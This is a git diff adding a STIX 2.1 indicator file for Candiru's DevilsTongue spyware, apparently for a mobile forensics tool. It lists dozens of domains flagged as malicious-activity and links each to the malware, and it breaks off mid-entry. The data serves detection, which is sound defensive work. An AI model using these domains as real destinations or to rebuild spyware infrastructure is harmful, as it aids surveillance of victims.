+07d39205f9ba159236477a02cdb3350fac4f158e0dbf26576bb50604339b1f42 +820c394b22b950335eb5cf21bc7df5c7a33081169f41440c74d67e7a8f196960 +fe05ba40f2d4b15db83524c169d030d097abc6713139ce6068969d97a24aa195 +77126e749a9c1144ae3cebb8deb0b72fc90d4eb73d1072a69a1248b4f518bb47 +c3b92d05b105465881c0f68f5cf6c3edb24d2e5317ffd1256cb68c7921fe0721 +0ed73428c7729806be57989f340a09a323af914f197cc0cbb5509316ca5baf7b +48e87bfcaa665bfbfcb027227384905878f090bbc19d02f74c41ade3cafb0950 +02dc81ea172e45f0a6fd7241fffd1042f6925c52d2f91dee36085634207be4f1 +0ed73428c7729806be57989f340a09a323af914f197cc0cbb5509316ca5baf7b diff --git a/data/ioc/spyware/mvt/candiru/candiru.stix2 b/data/ioc/spyware/mvt/candiru/candiru.stix2 new file mode 100644 index 0000000..7c17f93 --- /dev/null +++ b/data/ioc/spyware/mvt/candiru/candiru.stix2 @@ -0,0 +1,3016 @@ +{ + "type": "bundle", + "id": "bundle--14990465-ce4d-4328-9ace-dd4d985dd62c", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782", + "created": "2025-08-08T19:03:18.773827Z", + "modified": "2025-08-08T19:03:18.773827Z", + "name": "Candiru", + "description": "IOCs related to Candiru's DevilsTongue.", + "is_family": false + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c3da5ff0-5358-4dbb-b397-2cb6da008a7e", + "created": "2025-08-08T19:03:18.77405Z", + "modified": "2025-08-08T19:03:18.77405Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='conquerconfess.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.77405Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--042c7676-2e9e-4a13-b948-d0891f2268cd", + "created": "2025-08-08T19:03:18.777864Z", + "modified": "2025-08-08T19:03:18.777864Z", + "relationship_type": "indicates", + "source_ref": "indicator--c3da5ff0-5358-4dbb-b397-2cb6da008a7e", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a961b392-35e0-47af-8a0b-8a285a156743", + "created": "2025-08-08T19:03:18.778426Z", + "modified": "2025-08-08T19:03:18.778426Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deterdiffusion.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.778426Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec6cf49a-7a62-49b6-9f33-0e9a560298c4", + "created": "2025-08-08T19:03:18.779089Z", + "modified": "2025-08-08T19:03:18.779089Z", + "relationship_type": "indicates", + "source_ref": "indicator--a961b392-35e0-47af-8a0b-8a285a156743", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c8cfd921-154c-498a-b1d8-05ce66894de0", + "created": "2025-08-08T19:03:18.779245Z", + "modified": "2025-08-08T19:03:18.779245Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pepperdominate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.779245Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bf9d2a11-72d2-4876-a3c0-03f30afd9407", + "created": "2025-08-08T19:03:18.779802Z", + "modified": "2025-08-08T19:03:18.779802Z", + "relationship_type": "indicates", + "source_ref": "indicator--c8cfd921-154c-498a-b1d8-05ce66894de0", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8c38d14b-4ab7-47f8-82a0-d756eb0ca422", + "created": "2025-08-08T19:03:18.779975Z", + "modified": "2025-08-08T19:03:18.779975Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='isolatelecture.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.779975Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed3a7a8a-2bf2-4553-b501-136bd3a99166", + "created": "2025-08-08T19:03:18.780461Z", + "modified": "2025-08-08T19:03:18.780461Z", + "relationship_type": "indicates", + "source_ref": "indicator--8c38d14b-4ab7-47f8-82a0-d756eb0ca422", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e980976f-5d24-4248-891b-44845de888ea", + "created": "2025-08-08T19:03:18.780593Z", + "modified": "2025-08-08T19:03:18.780593Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bypasscalculate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.780593Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5fdb3024-b433-4a7e-9222-23628cee61ec", + "created": "2025-08-08T19:03:18.781096Z", + "modified": "2025-08-08T19:03:18.781096Z", + "relationship_type": "indicates", + "source_ref": "indicator--e980976f-5d24-4248-891b-44845de888ea", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--47796122-c85b-4d11-ac30-960954a6dd03", + "created": "2025-08-08T19:03:18.781248Z", + "modified": "2025-08-08T19:03:18.781248Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='winmslaf.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.781248Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c65a737-619f-4403-9864-4bd135bc7da2", + "created": "2025-08-08T19:03:18.781744Z", + "modified": "2025-08-08T19:03:18.781744Z", + "relationship_type": "indicates", + "source_ref": "indicator--47796122-c85b-4d11-ac30-960954a6dd03", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a477834d-315a-4dcd-b4a2-639fa89ca94f", + "created": "2025-08-08T19:03:18.781939Z", + "modified": "2025-08-08T19:03:18.781939Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kenoratravels.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.781939Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed075d1d-022c-4fac-af2a-fccec78c1f1e", + "created": "2025-08-08T19:03:18.782448Z", + "modified": "2025-08-08T19:03:18.782448Z", + "relationship_type": "indicates", + "source_ref": "indicator--a477834d-315a-4dcd-b4a2-639fa89ca94f", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--05360fb7-b833-4012-9d96-44456bc80542", + "created": "2025-08-08T19:03:18.78258Z", + "modified": "2025-08-08T19:03:18.78258Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bronzemonth.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.78258Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--12dc40e8-d215-4465-b358-e3c249f5b25f", + "created": "2025-08-08T19:03:18.783052Z", + "modified": "2025-08-08T19:03:18.783052Z", + "relationship_type": "indicates", + "source_ref": "indicator--05360fb7-b833-4012-9d96-44456bc80542", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8ccbde47-fd1b-4c74-9ac9-3ad51123604e", + "created": "2025-08-08T19:03:18.783183Z", + "modified": "2025-08-08T19:03:18.783183Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='grayhornet.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.783183Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cad6e7a9-0363-4e95-acc8-e83689516089", + "created": "2025-08-08T19:03:18.783606Z", + "modified": "2025-08-08T19:03:18.783606Z", + "relationship_type": "indicates", + "source_ref": "indicator--8ccbde47-fd1b-4c74-9ac9-3ad51123604e", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--01ad911f-c45f-41e7-b996-eb3d8c13e810", + "created": "2025-08-08T19:03:18.783732Z", + "modified": "2025-08-08T19:03:18.783732Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chickenstrawberry.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.783732Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bc1c3aa2-7a32-4dce-9399-521e58be5406", + "created": "2025-08-08T19:03:18.784218Z", + "modified": "2025-08-08T19:03:18.784218Z", + "relationship_type": "indicates", + "source_ref": "indicator--01ad911f-c45f-41e7-b996-eb3d8c13e810", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--968cf56b-224d-47fd-8f10-1713caa488b7", + "created": "2025-08-08T19:03:18.784348Z", + "modified": "2025-08-08T19:03:18.784348Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blockroster.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.784348Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16081d1a-ae01-41c6-826e-1190dc83aed8", + "created": "2025-08-08T19:03:18.784782Z", + "modified": "2025-08-08T19:03:18.784782Z", + "relationship_type": "indicates", + "source_ref": "indicator--968cf56b-224d-47fd-8f10-1713caa488b7", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fbff7c90-8826-4fad-83e9-1b09831a9be1", + "created": "2025-08-08T19:03:18.784905Z", + "modified": "2025-08-08T19:03:18.784905Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='weathercheck.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.784905Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6af0a05e-ee55-4b82-acad-0c01833c6e08", + "created": "2025-08-08T19:03:18.785247Z", + "modified": "2025-08-08T19:03:18.785247Z", + "relationship_type": "indicates", + "source_ref": "indicator--fbff7c90-8826-4fad-83e9-1b09831a9be1", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ee587f6d-65fe-4ca7-921c-0e37bd2e0ee3", + "created": "2025-08-08T19:03:18.785346Z", + "modified": "2025-08-08T19:03:18.785346Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='backxercise.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.785346Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75ab786a-05c5-496c-a60b-426603413289", + "created": "2025-08-08T19:03:18.785648Z", + "modified": "2025-08-08T19:03:18.785648Z", + "relationship_type": "indicates", + "source_ref": "indicator--ee587f6d-65fe-4ca7-921c-0e37bd2e0ee3", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8dce27d-4b82-4e14-b71d-585fa0f8433b", + "created": "2025-08-08T19:03:18.785754Z", + "modified": "2025-08-08T19:03:18.785754Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tacticscheap.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.785754Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ebe5ec47-6610-43b6-9c2a-cff8465cb42b", + "created": "2025-08-08T19:03:18.786128Z", + "modified": "2025-08-08T19:03:18.786128Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8dce27d-4b82-4e14-b71d-585fa0f8433b", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd9fae15-2a0f-464d-978d-6d4eac18d139", + "created": "2025-08-08T19:03:18.786238Z", + "modified": "2025-08-08T19:03:18.786238Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dediccatedconsideration.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.786238Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bfdcf5bd-bf25-4525-bdf8-43b8b3cecb56", + "created": "2025-08-08T19:03:18.786668Z", + "modified": "2025-08-08T19:03:18.786668Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd9fae15-2a0f-464d-978d-6d4eac18d139", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9bebc193-bc24-4e82-b462-fb72ca72a496", + "created": "2025-08-08T19:03:18.78677Z", + "modified": "2025-08-08T19:03:18.78677Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stylebrakedown.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.78677Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f6d64abb-777e-4e6d-b688-65b1d679e982", + "created": "2025-08-08T19:03:18.787096Z", + "modified": "2025-08-08T19:03:18.787096Z", + "relationship_type": "indicates", + "source_ref": "indicator--9bebc193-bc24-4e82-b462-fb72ca72a496", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--73710c9f-6b21-4387-8429-3acea14e1dfd", + "created": "2025-08-08T19:03:18.7872Z", + "modified": "2025-08-08T19:03:18.7872Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='barnsecret.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.7872Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--870e8335-7134-45ad-9d2e-16d7b8681ba8", + "created": "2025-08-08T19:03:18.787484Z", + "modified": "2025-08-08T19:03:18.787484Z", + "relationship_type": "indicates", + "source_ref": "indicator--73710c9f-6b21-4387-8429-3acea14e1dfd", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bef9ce3a-2e27-44e2-be81-4b9c0f4d9ab2", + "created": "2025-08-08T19:03:18.787578Z", + "modified": "2025-08-08T19:03:18.787578Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='maturitygenesis.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.787578Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--64943f10-f48f-41c8-bd25-71e2864a8eb2", + "created": "2025-08-08T19:03:18.787897Z", + "modified": "2025-08-08T19:03:18.787897Z", + "relationship_type": "indicates", + "source_ref": "indicator--bef9ce3a-2e27-44e2-be81-4b9c0f4d9ab2", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--971eac13-7d8c-4a05-968d-4f5a67fb3cb1", + "created": "2025-08-08T19:03:18.788015Z", + "modified": "2025-08-08T19:03:18.788015Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='citecivilization.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.788015Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--28b0bf5f-9e07-49e4-b0a1-1045def17fed", + "created": "2025-08-08T19:03:18.788349Z", + "modified": "2025-08-08T19:03:18.788349Z", + "relationship_type": "indicates", + "source_ref": "indicator--971eac13-7d8c-4a05-968d-4f5a67fb3cb1", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b59a7419-452a-4bf9-a46a-bb92fda5a0c8", + "created": "2025-08-08T19:03:18.788458Z", + "modified": "2025-08-08T19:03:18.788458Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='desireeclipse.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.788458Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6cb5e2dc-587d-4920-8a7b-83bbc0f0092e", + "created": "2025-08-08T19:03:18.78875Z", + "modified": "2025-08-08T19:03:18.78875Z", + "relationship_type": "indicates", + "source_ref": "indicator--b59a7419-452a-4bf9-a46a-bb92fda5a0c8", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aea8dffc-d56c-4109-8a48-391064d748fe", + "created": "2025-08-08T19:03:18.788855Z", + "modified": "2025-08-08T19:03:18.788855Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='windomination.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.788855Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e1af8b9e-18dd-458a-8d71-8e8330ea069e", + "created": "2025-08-08T19:03:18.789157Z", + "modified": "2025-08-08T19:03:18.789157Z", + "relationship_type": "indicates", + "source_ref": "indicator--aea8dffc-d56c-4109-8a48-391064d748fe", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6ece146c-7d87-4525-9aaf-7d5e0165ecff", + "created": "2025-08-08T19:03:18.789254Z", + "modified": "2025-08-08T19:03:18.789254Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goatsandals.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.789254Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6fd21f2e-7049-4dbb-9919-27893aee7832", + "created": "2025-08-08T19:03:18.789537Z", + "modified": "2025-08-08T19:03:18.789537Z", + "relationship_type": "indicates", + "source_ref": "indicator--6ece146c-7d87-4525-9aaf-7d5e0165ecff", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--714c9fa7-03f1-40ca-b158-0c4a8a0e969e", + "created": "2025-08-08T19:03:18.789635Z", + "modified": "2025-08-08T19:03:18.789635Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='signifyslight.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.789635Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--56a17660-746c-4334-9bdf-1c360dfa427e", + "created": "2025-08-08T19:03:18.789926Z", + "modified": "2025-08-08T19:03:18.789926Z", + "relationship_type": "indicates", + "source_ref": "indicator--714c9fa7-03f1-40ca-b158-0c4a8a0e969e", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed17d080-5813-4b9d-b9ca-7515e966c0ec", + "created": "2025-08-08T19:03:18.790041Z", + "modified": "2025-08-08T19:03:18.790041Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dumplingbell.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.790041Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1b1ebb67-142f-495e-b106-efd813b29f1c", + "created": "2025-08-08T19:03:18.790337Z", + "modified": "2025-08-08T19:03:18.790337Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed17d080-5813-4b9d-b9ca-7515e966c0ec", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--850ec3d3-dedc-4af2-afb8-c9273d19e46a", + "created": "2025-08-08T19:03:18.790436Z", + "modified": "2025-08-08T19:03:18.790436Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='devotionbelief.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.790436Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f37f646e-cdce-45af-adff-d62503ea4f50", + "created": "2025-08-08T19:03:18.790721Z", + "modified": "2025-08-08T19:03:18.790721Z", + "relationship_type": "indicates", + "source_ref": "indicator--850ec3d3-dedc-4af2-afb8-c9273d19e46a", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--419f6f06-9a3a-4f7a-b3df-27b9105684f6", + "created": "2025-08-08T19:03:18.790819Z", + "modified": "2025-08-08T19:03:18.790819Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='concretebottle.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.790819Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d9e115c7-7610-48ed-8551-0426bbf6befa", + "created": "2025-08-08T19:03:18.791097Z", + "modified": "2025-08-08T19:03:18.791097Z", + "relationship_type": "indicates", + "source_ref": "indicator--419f6f06-9a3a-4f7a-b3df-27b9105684f6", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bb1b8f4d-ce09-4595-924c-d02ddc571480", + "created": "2025-08-08T19:03:18.791199Z", + "modified": "2025-08-08T19:03:18.791199Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='noc-service-streamer.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.791199Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd7b0cde-06e5-4769-ba59-8093191645b8", + "created": "2025-08-08T19:03:18.791582Z", + "modified": "2025-08-08T19:03:18.791582Z", + "relationship_type": "indicates", + "source_ref": "indicator--bb1b8f4d-ce09-4595-924c-d02ddc571480", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--71f8fc74-4f46-4bd8-a93a-4256514ba184", + "created": "2025-08-08T19:03:18.791682Z", + "modified": "2025-08-08T19:03:18.791682Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bondmuscle.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.791682Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2b96e982-cbc4-4c60-a43a-4632d37743a1", + "created": "2025-08-08T19:03:18.792022Z", + "modified": "2025-08-08T19:03:18.792022Z", + "relationship_type": "indicates", + "source_ref": "indicator--71f8fc74-4f46-4bd8-a93a-4256514ba184", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--52bda6ff-4f53-46b1-89ae-050036b153e7", + "created": "2025-08-08T19:03:18.792141Z", + "modified": "2025-08-08T19:03:18.792141Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fallaciousessential.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.792141Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3743b296-c63c-4dae-87c9-887b3a74cab4", + "created": "2025-08-08T19:03:18.792478Z", + "modified": "2025-08-08T19:03:18.792478Z", + "relationship_type": "indicates", + "source_ref": "indicator--52bda6ff-4f53-46b1-89ae-050036b153e7", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--23a30924-8b31-412f-a2f0-2fa65dfb1c59", + "created": "2025-08-08T19:03:18.792583Z", + "modified": "2025-08-08T19:03:18.792583Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scoreparade.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.792583Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--acbf1760-02de-478b-bc3b-f035adc86abd", + "created": "2025-08-08T19:03:18.792872Z", + "modified": "2025-08-08T19:03:18.792872Z", + "relationship_type": "indicates", + "source_ref": "indicator--23a30924-8b31-412f-a2f0-2fa65dfb1c59", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--302fb1c9-c005-4311-9af9-2a0475d8a906", + "created": "2025-08-08T19:03:18.792975Z", + "modified": "2025-08-08T19:03:18.792975Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bypassbirch.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.792975Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--374f403e-aab2-4418-b923-7b1470f36a31", + "created": "2025-08-08T19:03:18.793261Z", + "modified": "2025-08-08T19:03:18.793261Z", + "relationship_type": "indicates", + "source_ref": "indicator--302fb1c9-c005-4311-9af9-2a0475d8a906", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bf3923d4-f9cc-442f-a173-90dfc6b3db89", + "created": "2025-08-08T19:03:18.793361Z", + "modified": "2025-08-08T19:03:18.793361Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='macrodrop.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.793361Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c6182c78-869f-4425-a952-97a0ad43e413", + "created": "2025-08-08T19:03:18.793653Z", + "modified": "2025-08-08T19:03:18.793653Z", + "relationship_type": "indicates", + "source_ref": "indicator--bf3923d4-f9cc-442f-a173-90dfc6b3db89", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d39ab88-2773-4d9e-b4a5-842657ad5d10", + "created": "2025-08-08T19:03:18.793765Z", + "modified": "2025-08-08T19:03:18.793765Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='romancedrum.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.793765Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f89400cc-494a-4cf8-8175-d6ea22ed54e7", + "created": "2025-08-08T19:03:18.794149Z", + "modified": "2025-08-08T19:03:18.794149Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d39ab88-2773-4d9e-b4a5-842657ad5d10", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a63ae67-68c2-446e-9670-ae3b116420e9", + "created": "2025-08-08T19:03:18.794257Z", + "modified": "2025-08-08T19:03:18.794257Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cropcritique.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.794257Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d90154a0-60ec-4b27-8902-0849f7974119", + "created": "2025-08-08T19:03:18.794811Z", + "modified": "2025-08-08T19:03:18.794811Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a63ae67-68c2-446e-9670-ae3b116420e9", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e6a16b50-5a95-46c3-9553-9aae8a063964", + "created": "2025-08-08T19:03:18.794985Z", + "modified": "2025-08-08T19:03:18.794985Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stablesurface.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.794985Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f7e4f67-e260-44be-865a-9a8bdd96fcb6", + "created": "2025-08-08T19:03:18.795376Z", + "modified": "2025-08-08T19:03:18.795376Z", + "relationship_type": "indicates", + "source_ref": "indicator--e6a16b50-5a95-46c3-9553-9aae8a063964", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a2b45609-c644-496e-b0a2-767440c00361", + "created": "2025-08-08T19:03:18.795507Z", + "modified": 